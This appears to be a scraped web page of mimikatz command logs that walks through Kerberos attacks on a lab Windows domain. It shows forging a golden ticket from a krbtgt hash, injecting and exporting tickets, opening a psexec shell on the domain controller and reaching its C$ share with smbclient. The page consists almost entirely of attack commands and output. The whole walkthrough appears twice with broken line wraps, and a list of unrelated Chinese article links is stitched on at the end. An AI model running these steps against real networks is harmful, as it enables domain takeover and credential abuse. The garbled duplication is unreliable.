mimikazhi Kerberos Modules
Kerberos Modules
1. .#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Oct 9201500:33:13)
2. .## ^ ##.
3. ## / \ ## /* * *
4. ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
5. '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
6. '#####' with16 modules * * */
7.
8.
9. mimikatz # kerberos::
10.ERROR mimikatz_doLocal ; "(null)" command of "kerberos"modulenot found !
11.
12.Module : kerberos
13.Full name : Kerberospackagemodule
14.Description :
15.
16. ptt - Pass-the-ticket [NT 6]
17. list - List ticket(s)
18. tgt - Retrieve current TGT
19. purge - Purge ticket(s)
20. golden - WillyWonka factory
21. hash - Hash password to keys
22. ptc - Pass-the-ccache [NT6]
23. clist - List tickets in MIT/Heimdall ccache
24.
25.mimikatz #
Golden Ticket
1. mimikatz # kerberos::golden /user:Administrator /domain:sittingduck.info /sid:S-
2. 1-5-21-2792304509-1851296738-3446580569 /krbtgt:994ceb7e251e5afc550eef79d8172d64
3. /ticket:gold.kirbi
4. User : Administrator
5. Domain : sittingduck.info
6. SID : S-1-5-21-2792304509-1851296738-3446580569
7. UserId : 500
8. GroupsId : *513512520518519
9. ServiceKey: 994ceb7e251e5afc550eef79d8172d64 - rc4_hmac_nt
10.Lifetime : 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/202511:28:5
11.4 PM
12.-> Ticket : gold.kirbi
13.
14. * PAC generated
15. * PAC signed
16. * EncTicketPart generated
17. * EncTicketPart encrypted
18. * KrbCred generated
19.
20.FinalTicketSaved to file !
Pass the Ticket
1. mimikatz # kerberos::ptt gold.kirbi
2. 0 - File'gold.kirbi' : OK
3.
4. mimikatz # kerberos::list
5.
6. [00000000] - 0x00000017 - rc4_hmac_nt
7. Start/End/MaxRenew: 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/2
8. 02511:28:54 PM
9. ServerName : krbtgt/sittingduck.info @ sittingduck.info
10. ClientName : Administrator @ sittingduck.info
11. Flags40e00000 : pre_authent ; initial ; renewable ; forwardable ;
12.
13.mimikatz #
Injecting tickets with Kirbikator
1. C:\Users\notanadmin\Desktop>kirbikator.exe lsa gold.kirbi
2.
3. .#####. KiRBikator1.0 (x86) release "Kiwi en C" (Feb 1201503:37:29)
4. .## ^ ##.
5. ## / \ ## /* * *
6. ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
7. '## v ##' http://blog.gentilkiwi.com (oe.eo)
8. '#####' * * */
9.
10.Destination : Microsoft LSA API (multiple)
11. < gold.kirbi (RFC KRB-CRED (#22))
12. > TicketAdministrator@sittingduck.info-krbtgt~sittingduck.info@sittingduck.inf
13.o : injected
Exporting active tickets
1. mimikatz # kerberos::list /export
2.
3. [00000000] - 0x00000012 - aes256_hmac
4. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
5. 511:39:31 PM
6. ServerName : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO
7. ClientName : uberuser @ SITTINGDUCK.INFO
8. Flags60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ;
9. forwardable ;
10. * Saved to file : 0-60a10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK
11..INFO.kirbi
12.
13.[00000001] - 0x00000012 - aes256_hmac
14. Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201
15.511:39:31 PM
16. ServerName : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO
17. ClientName : uberuser @ SITTINGDUCK.INFO
18. Flags40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; f
19.orwardable ;
20. * Saved to file : 1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK
21..INFO.kirbi
22.
23.[00000002] - 0x00000012 - aes256_hmac
24. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
25.511:39:31 PM
26. ServerName : cifs/dc1.sittingduck.info @ SITTINGDUCK.INFO
27. ClientName : uberuser @ SITTINGDUCK.INFO
28. Flags40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa
29.ble ; forwardable ;
30. * Saved to file : 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU
31.CK.INFO.kirbi
32.
33.[00000003] - 0x00000012 - aes256_hmac
34. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
35.511:39:31 PM
36. ServerName : ldap/dc1.sittingduck.info @ SITTINGDUCK.INFO
37. ClientName : uberuser @ SITTINGDUCK.INFO
38. Flags40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa
39.ble ; forwardable ;
40. * Saved to file : 3-40a50000-uberuser@ldap~dc1.sittingduck.info-SITTINGDU
41.CK.INFO.kirbi
42.
43.[00000004] - 0x00000012 - aes256_hmac
44. Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201
45.511:39:31 PM
46. ServerName : LDAP/dc1.sittingduck.info/sittingduck.info @ SITTINGDUCK.
47.INFO
48. ClientName : uberuser @ SITTINGDUCK.INFO
49. Flags40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa
50.ble ; forwardable ;
51. * Saved to file : 4-40a50000-uberuser@LDAP~dc1.sittingduck.info~sittingdu
52.ck.info-SITTINGDUCK.INFO.kirbi
PSEXEC with standard Kerberos tickets
1. mimikatz # kerberos::list
2.
3. mimikatz # (EMPTY LIST)
4.
5. mimikatz # kerberos::ptt 1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK
6. .INFO.kirbi
7. 0 - File'1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi'
8. : OK
9.
10.mimikatz # kerberos::ptt 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU
11.CK.INFO.kirbi
12. 0 - File'2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
13.' : OK
14.
15.mimikatz # kerberos::list
16.
17.[00000000] - 0x00000012 - aes256_hmac
18. Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201
19.511:39:31 PM
20. ServerName : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO
21. ClientName : uberuser @ SITTINGDUCK.INFO
22. Flags40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; f
23.orwardable ;
24.
25.[00000001] - 0x00000012 - aes256_hmac
26. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
27.511:39:31 PM
28. ServerName : cifs/dc1.sittingduck.info @ SITTINGDUCK.INFO
29. ClientName : uberuser @ SITTINGDUCK.INFO
30. Flags40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa
31.ble ; forwardable ;
32.
33.mimikatz #
34.
35.
36.
37.C:\Users\notanadmin\Desktop>psexec \\dc1 cmd.exe
38.
39.PsExec v1.97 - Execute processes remotely
40.Copyright (C) 2001-2009MarkRussinovich
41.Sysinternals - www.sysinternals.com
42.
43.
44.MicrosoftWindows [Version6.3.9600]
45.(c) 2013MicrosoftCorporation. All rights reserved.
46.
47.C:\Windows\system32>whoami
48.sittingduck\uberuser
49.
50.C:\Windows\system32>echo %COMPUTERNAME%
51.DC1
52.
53.C:\Windows\system32>
Convert Mimikatz Kerberos ticket to CCache and use
1. C:\Users\notanadmin\Desktop>kirbikator.exe ccache "2-40a50000-uberuser@cifs~dc1.
2. sittingduck.info-SITTINGDUCK.INFO.kirbi"
3.
4. .#####. KiRBikator1.0 (x86) release "Kiwi en C" (Feb 1201503:37:29)
5. .## ^ ##.
6. ## / \ ## /* * *
7. ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
8. '## v ##' http://blog.gentilkiwi.com (oe.eo)
9. '#####' * * */
10.
11.Destination : MIT CredentialCache (simple)
12. < 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi (RFC KRB
13.-CRED (#22))
14. > Single file : uberuser@SITTINGDUCK.INFO.ccache
15.
16.C:\Users\notanadmin\Desktop>
Method 1
1. KRB5CCNAME=uberuser@SITTINGDUCK.INFO.ccache smbclient -k //dc1.sittingduck.info/c$
2. OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]
3. smb: \>
Method 2
1. root@kali:~# apt-get install krb5-user
2. Readingpackage lists... Done
3. Building dependency tree
4. Reading state information... Done
5. The following extra packages will be installed:
6. krb5-config libgssrpc4 libkadm5clnt-mit9 libkadm5srv-mit9 libkdb5-7
7. Suggested packages:
8. krb5-doc
9. The following NEW packages will be installed:
10. krb5-config krb5-user libgssrpc4 libkadm5clnt-mit9 libkadm5srv-mit9 libkdb5-7
11.0 upgraded, 6 newly installed, 0 to remove and0not upgraded.
12.Need to get466 kB of archives.
13.Afterthis operation, 1,199 kB of additional disk space will be used.
14.Do you want to continue? [Y/n] y
15.0% [Connecting to http.kali.org]
16.<SNIP>
17.<SNIP>
18.<SNIP>
19.
20.root@kali:~/Desktop# klist
21.klist: Credentials cache file '/tmp/krb5cc_0'not found
22.root@kali:~/Desktop# cp uberuser@SITTINGDUCK.INFO.ccache /tmp/krb5cc_0
23.root@kali:~/Desktop# smbclient -k //dc1.sittingduck.info/c$
24.OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]
25.smb: \>
Kerberos Modules
1. .#####.
mimikatz 2.0 alpha (x64) release "Kiwi en
C" (Oct 9201500:33:13)
2. .## ^ ##.
3. ## / \ ##
/* * *
4. ## \ / ##
Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
5. '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
6. '#####' with16 modules * * */
7.
8.
9. mimikatz # kerberos::
10.ERROR
mimikatz_doLocal ; "(null)" command of "kerberos"modulenot found !
11.
12.Module : kerberos
13.Full name : Kerberospackagemodule
14.Description :
15.
16. ptt - Pass-the-ticket [NT 6]
17. list - List ticket(s)
18. tgt - Retrieve current TGT
19. purge - Purge ticket(s)
20. golden - WillyWonka factory
21. hash - Hash password to
keys
22. ptc - Pass-the-ccache
[NT6]
23. clist - List tickets in MIT/Heimdall ccache
24.
25.mimikatz #
Golden Ticket
1. mimikatz #
kerberos::golden /user:Administrator /domain:sittingduck.info /sid:S-
2. 1-5-21-2792304509-1851296738-3446580569 /krbtgt:994ceb7e251e5afc550eef79d8172d64
3. /ticket:gold.kirbi
4. User : Administrator
5. Domain : sittingduck.info
6. SID : S-1-5-21-2792304509-1851296738-3446580569
7. UserId : 500
8. GroupsId : *513512520518519
9. ServiceKey: 994ceb7e251e5afc550eef79d8172d64 - rc4_hmac_nt
10.Lifetime : 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/202511:28:5
11.4 PM
12.-> Ticket : gold.kirbi
13.
14. * PAC generated
15. * PAC signed
16. * EncTicketPart generated
17. * EncTicketPart encrypted
18. * KrbCred generated
19.
20.FinalTicketSaved to file !
Pass the Ticket
1. mimikatz # kerberos::ptt
gold.kirbi
2. 0 - File'gold.kirbi' : OK
3.
4. mimikatz # kerberos::list
5.
6. [00000000] - 0x00000017 - rc4_hmac_nt
7. Start/End/MaxRenew: 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/2
8. 02511:28:54 PM
9. ServerName : krbtgt/sittingduck.info @
sittingduck.info
10. ClientName : Administrator @
sittingduck.info
11. Flags40e00000 : pre_authent ; initial ; renewable ;
forwardable ;
12.
13.mimikatz #
Injecting
tickets with Kirbikator
1. C:\Users\notanadmin\Desktop>kirbikator.exe
lsa gold.kirbi
2.
3. .#####.
KiRBikator1.0 (x86) release "Kiwi en
C" (Feb 1201503:37:29)
4. .## ^ ##.
5. ## / \ ##
/* * *
6. ## \ / ##
Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
7. '## v ##' http://blog.gentilkiwi.com (oe.eo)
8. '#####'
* * */
9.
10.Destination : Microsoft LSA API
(multiple)
11. < gold.kirbi (RFC KRB-CRED (#22))
12. > TicketAdministrator@sittingduck.info-krbtgt~sittingduck.info@sittingduck.inf
13.o : injected
Exporting active
tickets
1. mimikatz # kerberos::list
/export
2.
3. [00000000] - 0x00000012 - aes256_hmac
4. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
5. 511:39:31 PM
6. ServerName : krbtgt/SITTINGDUCK.INFO @
SITTINGDUCK.INFO
7. ClientName : uberuser @ SITTINGDUCK.INFO
8. Flags60a10000 : name_canonicalize ; pre_authent ;
renewable ; forwarded ;
9. forwardable ;
10. * Saved to file : 0-60a10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK
11..INFO.kirbi
12.
13.[00000001] - 0x00000012 - aes256_hmac
14. Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201
15.511:39:31 PM
16. ServerName : krbtgt/SITTINGDUCK.INFO @
SITTINGDUCK.INFO
17. ClientName : uberuser @ SITTINGDUCK.INFO
18. Flags40e10000 : name_canonicalize ; pre_authent ; initial
; renewable ; f
19.orwardable ;
20. * Saved to file : 1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK
21..INFO.kirbi
22.
23.[00000002] - 0x00000012 - aes256_hmac
24. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
25.511:39:31 PM
26. ServerName : cifs/dc1.sittingduck.info @
SITTINGDUCK.INFO
27. ClientName : uberuser @ SITTINGDUCK.INFO
28. Flags40a50000 : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa
29.ble ;
forwardable ;
30. * Saved to file : 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU
31.CK.INFO.kirbi
32.
33.[00000003] - 0x00000012 - aes256_hmac
34. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
35.511:39:31 PM
36. ServerName : ldap/dc1.sittingduck.info @
SITTINGDUCK.INFO
37. ClientName : uberuser @ SITTINGDUCK.INFO
38. Flags40a50000 : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa
39.ble ;
forwardable ;
40. * Saved to file : 3-40a50000-uberuser@ldap~dc1.sittingduck.info-SITTINGDU
41.CK.INFO.kirbi
42.
43.[00000004] - 0x00000012 - aes256_hmac
44. Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201
45.511:39:31 PM
46. ServerName :
LDAP/dc1.sittingduck.info/sittingduck.info @ SITTINGDUCK.
47.INFO
48. ClientName : uberuser @ SITTINGDUCK.INFO
49. Flags40a50000 : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa
50.ble ;
forwardable ;
51. * Saved to file : 4-40a50000-uberuser@LDAP~dc1.sittingduck.info~sittingdu
52.ck.info-SITTINGDUCK.INFO.kirbi
PSEXEC with
standard Kerberos tickets
1. mimikatz # kerberos::list
2.
3. mimikatz # (EMPTY LIST)
4.
5. mimikatz # kerberos::ptt
1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK
6. .INFO.kirbi
7. 0 - File'1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi'
8. : OK
9.
10.mimikatz # kerberos::ptt 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU
11.CK.INFO.kirbi
12. 0 - File'2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
13.' : OK
14.
15.mimikatz # kerberos::list
16.
17.[00000000] - 0x00000012 - aes256_hmac
18. Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201
19.511:39:31 PM
20. ServerName : krbtgt/SITTINGDUCK.INFO @
SITTINGDUCK.INFO
21. ClientName : uberuser @ SITTINGDUCK.INFO
22. Flags40e10000 : name_canonicalize ; pre_authent ; initial
; renewable ; f
23.orwardable ;
24.
25.[00000001] - 0x00000012 - aes256_hmac
26. Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201
27.511:39:31 PM
28. ServerName : cifs/dc1.sittingduck.info @
SITTINGDUCK.INFO
29. ClientName : uberuser @ SITTINGDUCK.INFO
30. Flags40a50000 : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa
31.ble ;
forwardable ;
32.
33.mimikatz #
34.
35.
36.
37.C:\Users\notanadmin\Desktop>psexec
\\dc1 cmd.exe
38.
39.PsExec v1.97 - Execute processes
remotely
40.Copyright (C) 2001-2009MarkRussinovich
41.Sysinternals -
www.sysinternals.com
42.
43.
44.MicrosoftWindows [Version6.3.9600]
45.(c) 2013MicrosoftCorporation. All rights
reserved.
46.
47.C:\Windows\system32>whoami
48.sittingduck\uberuser
49.
50.C:\Windows\system32>echo
%COMPUTERNAME%
51.DC1
52.
53.C:\Windows\system32>
Convert Mimikatz
Kerberos ticket to CCache and use
1. C:\Users\notanadmin\Desktop>kirbikator.exe
ccache "2-40a50000-uberuser@cifs~dc1.
2. sittingduck.info-SITTINGDUCK.INFO.kirbi"
3.
4. .#####.
KiRBikator1.0 (x86) release "Kiwi en
C" (Feb 1201503:37:29)
5. .## ^ ##.
6. ## / \ ##
/* * *
7. ## \ / ##
Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
8. '## v ##' http://blog.gentilkiwi.com (oe.eo)
9. '#####'
* * */
10.
11.Destination : MIT CredentialCache (simple)
12. < 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
(RFC KRB
13.-CRED (#22))
14. > Single file :
uberuser@SITTINGDUCK.INFO.ccache
15.
16.C:\Users\notanadmin\Desktop>
Method 1
1. KRB5CCNAME=uberuser@SITTINGDUCK.INFO.ccache
smbclient -k //dc1.sittingduck.info/c$
2. OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]
3. smb: \>
Method 2
1. root@kali:~#
apt-get install krb5-user
2. Readingpackage lists... Done
3. Building dependency
tree
4. Reading state
information... Done
5. The following extra
packages will be installed:
6. krb5-config libgssrpc4 libkadm5clnt-mit9
libkadm5srv-mit9 libkdb5-7
7. Suggested packages:
8. krb5-doc
9. The following NEW
packages will be installed:
10. krb5-config krb5-user libgssrpc4
libkadm5clnt-mit9 libkadm5srv-mit9 libkdb5-7
11.0 upgraded, 6 newly
installed, 0 to remove and0not upgraded.
12.Need to get466 kB of archives.
13.Afterthis operation, 1,199 kB of
additional disk space will be used.
14.Do you want to continue? [Y/n] y
15.0% [Connecting to
http.kali.org]
16.<SNIP>
17.<SNIP>
18.<SNIP>
19.
20.root@kali:~/Desktop# klist
21.klist: Credentials cache file '/tmp/krb5cc_0'not found
22.root@kali:~/Desktop# cp
uberuser@SITTINGDUCK.INFO.ccache /tmp/krb5cc_0
23.root@kali:~/Desktop#
smbclient -k //dc1.sittingduck.info/c$
24.OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]
25.smb: \>
mimikazhi Kerberos Modules的更多相关文章
- Kerberos是怎么工作的？
Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证. 采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证. 关键要素 ...
- Centos 7 集成安装Apache+PHP+Kerberos+LDAP+phpLDAPadmin
一.安装Apache 1.1.安装Apache Apache程序是目前拥有很高市场占有率的Web服务程序之一,其跨平台和安全性广泛被认可且拥有快速.可靠.简单的API扩展. 它的名字取自美国印第安人土 ...
- Kerberos简介
Kerberos协议: Kerberos协议主要用于计算机网络的身份鉴别(Authentication), 其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据(ticket-grantin ...
- Play modules
A Play application can be assembled from several application modules. This allows you to reuse appli ...
- [Kerberos] Java client访问kerberos-secured cluster
使用java client访问kerberos-secured cluster,最重要的是先从admin那里拿到可用的keytab文件,用来作认证.接下来就是调整连接的配置.以下先用连接hdfs为例进 ...
- [Kerberos] Kerberos 认证过程整理
Kerberos是一种安全认证协议,意在提供 more secure authentication simplified management of password convenience of s ...
- [Kerberos] User Ticket Management
Kerberos客户端常用命令包括 kinit, klist, kdestroy, and kpasswd,用户使用这些命令管理自己的 ticket. 此外,每台运行Kerberos的机器应该都配置/ ...
- YII的Modules模块化
转载来源: http://blog.csdn.net/mengxiangbaidu/article/details/7041296 http://blog.csdn.net/colzer/articl ...
- Kerberos
一.Kerberos Concept Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务,为通信双方提供双向身份认证. Kerberos关键术语: ...
随机推荐
- 3. 第一个程序Hello, World!
第一个接口 HelloWorld 本项目所有代码均可在github上下载. 1. 编辑config.py # 基础配置类 import os class Config(object): ROOT = ...
- appium+python+unittest 测试用例的几种加载执行方式
利用python进行测试时,测试用例的加载方式有2种: 一种是通过unittest.main()来启动所需测试的测试模块: 一种是添加到testsuite集合中再加载所有的被测试对象,而testsu ...
- 多个EXCEL文件合并成一个
Python的numpy处理起来会比较方便,有空实现一下,这里是Excel内部代码的方式: 合并方法如下: 1.需要把多个excel表都放在同一个文件夹里面,并在这个文件夹里面新建一个excel.如图 ...
- CHAPTER 40 Science in Our Digital Age 第40章 我们数字时代的科学
CHAPTER 40 Science in Our Digital Age 第40章 我们数字时代的科学 The next time you switch on your computer, you ...
- maven项目的标准目录结构
maven项目的标准目录结构如下:
- yocto-sumo源码解析（一）: oe-init-build-env
oe-init-build-env是yocto构建环境运行的第一个脚本,通过运行下面的命令: . oe-init-build-env build-arm64 即可对yocto项目进行构建,顾名思义,该 ...
- docker 安装vim
执行以下命令 apt-get update apt-get install vim
- eclipse以MapReduce本地模式运行程序
1.准备好所需的文件winutils.exe.hadoop-eclipse-plugin-2.7.3.jar.hadoop-common-2.2.0-bin-master.zip 下载路径:http: ...
- Linux 文件搜索命令：find、which、whereis 和 locate
Linux 提供了许多用于文件搜索的命令,这些命令都很强大,但是也有一些不同之处,这里分别介绍一下. 一.find 命令 find 是最常见和最强大的一个文件搜索命令.使用 find 命令可以在指定目 ...
- NEWBEE软件团队 人员分配情况及分数获得方式
人员分配: PM:李桐 王骜 dev:王骜 刘垚鹏 安康 林旭鹏 黄新越 test:黄伟龙 李桐 马佐霖 黄新越 注:黄新越为女生,不方便平时的交流,所以任务分配较为灵活,特分在两个组里. 评分 ...